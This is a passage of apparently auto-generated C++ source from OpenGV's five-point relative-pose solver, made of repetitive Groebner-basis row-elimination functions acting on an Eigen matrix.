groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(40,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(40,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(40,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(40,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(40,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(40,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(40,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(40,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow33_100000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,111) / groebnerMatrix(33,156);
groebnerMatrix(targetRow,111) = 0.0;
groebnerMatrix(targetRow,112) -= factor * groebnerMatrix(33,157);
groebnerMatrix(targetRow,113) -= factor * groebnerMatrix(33,158);
groebnerMatrix(targetRow,114) -= factor * groebnerMatrix(33,159);
groebnerMatrix(targetRow,115) -= factor * groebnerMatrix(33,160);
groebnerMatrix(targetRow,116) -= factor * groebnerMatrix(33,161);
groebnerMatrix(targetRow,117) -= factor * groebnerMatrix(33,162);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(33,170);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(33,171);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(33,173);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(33,174);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(33,176);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(33,177);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(33,178);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(33,179);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(33,180);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(33,181);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(33,182);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(33,183);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(33,184);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(33,185);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(33,186);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(33,187);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(33,188);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(33,189);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(33,190);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(33,191);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(33,192);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(33,193);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(33,194);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(33,195);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(33,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow34_100000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,112) / groebnerMatrix(34,157);
groebnerMatrix(targetRow,112) = 0.0;
groebnerMatrix(targetRow,113) -= factor * groebnerMatrix(34,158);
groebnerMatrix(targetRow,114) -= factor * groebnerMatrix(34,159);
groebnerMatrix(targetRow,115) -= factor * groebnerMatrix(34,160);
groebnerMatrix(targetRow,116) -= factor * groebnerMatrix(34,161);
groebnerMatrix(targetRow,117) -= factor * groebnerMatrix(34,162);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(34,170);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(34,171);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(34,173);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(34,174);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(34,176);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(34,177);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(34,178);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(34,179);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(34,180);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(34,181);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(34,182);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(34,183);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(34,184);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(34,185);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(34,186);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(34,187);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(34,188);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(34,189);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(34,190);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(34,191);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(34,192);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(34,193);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(34,194);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(34,195);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(34,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow35_100000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,113) / groebnerMatrix(35,158);
groebnerMatrix(targetRow,113) = 0.0;
groebnerMatrix(targetRow,114) -= factor * groebnerMatrix(35,159);
groebnerMatrix(targetRow,115) -= factor * groebnerMatrix(35,160);
groebnerMatrix(targetRow,116) -= factor * groebnerMatrix(35,161);
groebnerMatrix(targetRow,117) -= factor * groebnerMatrix(35,162);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(35,170);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(35,171);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(35,173);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(35,174);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(35,176);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(35,177);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(35,178);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(35,179);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(35,180);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(35,181);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(35,182);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(35,183);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(35,184);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(35,185);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(35,186);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(35,187);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(35,188);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(35,189);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(35,190);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(35,191);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(35,192);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(35,193);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(35,194);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(35,195);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(35,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow36_100000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,114) / groebnerMatrix(36,159);
groebnerMatrix(targetRow,114) = 0.0;
groebnerMatrix(targetRow,115) -= factor * groebnerMatrix(36,160);
groebnerMatrix(targetRow,116) -= factor * groebnerMatrix(36,161);
groebnerMatrix(targetRow,117) -= factor * groebnerMatrix(36,162);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(36,170);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(36,171);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(36,173);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(36,174);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(36,176);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(36,177);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(36,178);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(36,179);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(36,180);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(36,181);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(36,182);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(36,183);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(36,184);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(36,185);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(36,186);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(36,187);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(36,188);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(36,189);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(36,190);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(36,191);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(36,192);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(36,193);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(36,194);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(36,195);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(36,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow37_100000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,115) / groebnerMatrix(37,160);
groebnerMatrix(targetRow,115) = 0.0;
groebnerMatrix(targetRow,116) -= factor * groebnerMatrix(37,161);
groebnerMatrix(targetRow,117) -= factor * groebnerMatrix(37,162);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(37,170);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(37,171);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(37,173);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(37,174);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(37,176);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(37,177);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(37,178);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(37,179);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(37,180);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(37,181);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(37,182);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(37,183);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(37,184);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(37,185);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(37,186);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(37,187);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(37,188);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(37,189);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(37,190);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(37,191);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(37,192);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(37,193);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(37,194);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(37,195);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(37,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow41_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,90) / groebnerMatrix(41,90);
groebnerMatrix(targetRow,90) = 0.0;
groebnerMatrix(targetRow,92) -= factor * groebnerMatrix(41,92);
groebnerMatrix(targetRow,93) -= factor * groebnerMatrix(41,93);
groebnerMatrix(targetRow,95) -= factor * groebnerMatrix(41,95);
groebnerMatrix(targetRow,96) -= factor * groebnerMatrix(41,96);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(41,125);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(41,126);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(41,128);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(41,129);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(41,131);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(41,132);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(41,133);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(41,134);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(41,135);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(41,136);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(41,137);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(41,138);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(41,139);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(41,140);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(41,141);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(41,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(41,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(41,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(41,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(41,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(41,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(41,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(41,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(41,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(41,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(41,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(41,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(41,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(41,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(41,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(41,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(41,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(41,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(41,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(41,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(41,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(41,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(41,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(41,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(41,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow32_100000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,110) / groebnerMatrix(32,155);
groebnerMatrix(targetRow,110) = 0.0;
groebnerMatrix(targetRow,111) -= factor * groebnerMatrix(32,156);
groebnerMatrix(targetRow,112) -= factor * groebnerMatrix(32,157);
groebnerMatrix(targetRow,113) -= factor * groebnerMatrix(32,158);
groebnerMatrix(targetRow,114) -= factor * groebnerMatrix(32,159);
groebnerMatrix(targetRow,115) -= factor * groebnerMatrix(32,160);
groebnerMatrix(targetRow,116) -= factor * groebnerMatrix(32,161);
groebnerMatrix(targetRow,117) -= factor * groebnerMatrix(32,162);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(32,170);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(32,171);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(32,173);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(32,174);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(32,176);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(32,177);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(32,178);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(32,179);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(32,180);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(32,181);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(32,182);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(32,183);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(32,184);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(32,185);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(32,186);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(32,187);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(32,188);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(32,189);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(32,190);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(32,191);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(32,192);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(32,193);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(32,194);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(32,195);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(32,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow42_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,92) / groebnerMatrix(42,92);
groebnerMatrix(targetRow,92) = 0.0;
groebnerMatrix(targetRow,93) -= factor * groebnerMatrix(42,93);
groebnerMatrix(targetRow,95) -= factor * groebnerMatrix(42,95);
groebnerMatrix(targetRow,96) -= factor * groebnerMatrix(42,96);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(42,125);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(42,126);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(42,128);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(42,129);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(42,131);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(42,132);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(42,133);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(42,134);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(42,135);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(42,136);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(42,137);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(42,138);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(42,139);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(42,140);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(42,141);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(42,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(42,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(42,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(42,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(42,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(42,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(42,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(42,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(42,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(42,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(42,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(42,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(42,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(42,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(42,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(42,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(42,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(42,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(42,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(42,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(42,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(42,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(42,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(42,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(42,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow43_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,93) / groebnerMatrix(43,93);
groebnerMatrix(targetRow,93) = 0.0;
groebnerMatrix(targetRow,95) -= factor * groebnerMatrix(43,95);
groebnerMatrix(targetRow,96) -= factor * groebnerMatrix(43,96);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(43,125);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(43,126);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(43,128);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(43,129);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(43,131);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(43,132);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(43,133);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(43,134);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(43,135);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(43,136);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(43,137);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(43,138);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(43,139);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(43,140);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(43,141);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(43,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(43,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(43,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(43,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(43,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(43,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(43,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(43,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(43,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(43,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(43,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(43,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(43,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(43,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(43,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(43,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(43,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(43,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(43,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(43,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(43,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(43,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(43,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(43,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(43,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow31_100000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,108) / groebnerMatrix(31,153);
groebnerMatrix(targetRow,108) = 0.0;
groebnerMatrix(targetRow,110) -= factor * groebnerMatrix(31,155);
groebnerMatrix(targetRow,111) -= factor * groebnerMatrix(31,156);
groebnerMatrix(targetRow,112) -= factor * groebnerMatrix(31,157);
groebnerMatrix(targetRow,113) -= factor * groebnerMatrix(31,158);
groebnerMatrix(targetRow,114) -= factor * groebnerMatrix(31,159);
groebnerMatrix(targetRow,115) -= factor * groebnerMatrix(31,160);
groebnerMatrix(targetRow,116) -= factor * groebnerMatrix(31,161);
groebnerMatrix(targetRow,117) -= factor * groebnerMatrix(31,162);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(31,170);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(31,171);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(31,173);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(31,174);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(31,176);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(31,177);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(31,178);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(31,179);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(31,180);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(31,181);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(31,182);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(31,183);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(31,184);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(31,185);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(31,186);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(31,187);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(31,188);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(31,189);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(31,190);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(31,191);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(31,192);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(31,193);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(31,194);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(31,195);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(31,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow44_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,95) / groebnerMatrix(44,95);
groebnerMatrix(targetRow,95) = 0.0;
groebnerMatrix(targetRow,96) -= factor * groebnerMatrix(44,96);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(44,125);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(44,126);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(44,128);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(44,129);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(44,131);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(44,132);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(44,133);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(44,134);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(44,135);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(44,136);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(44,137);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(44,138);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(44,139);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(44,140);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(44,141);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(44,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(44,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(44,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(44,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(44,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(44,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(44,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(44,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(44,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(44,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(44,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(44,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(44,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(44,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(44,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(44,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(44,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(44,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(44,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(44,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(44,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(44,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(44,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(44,195);
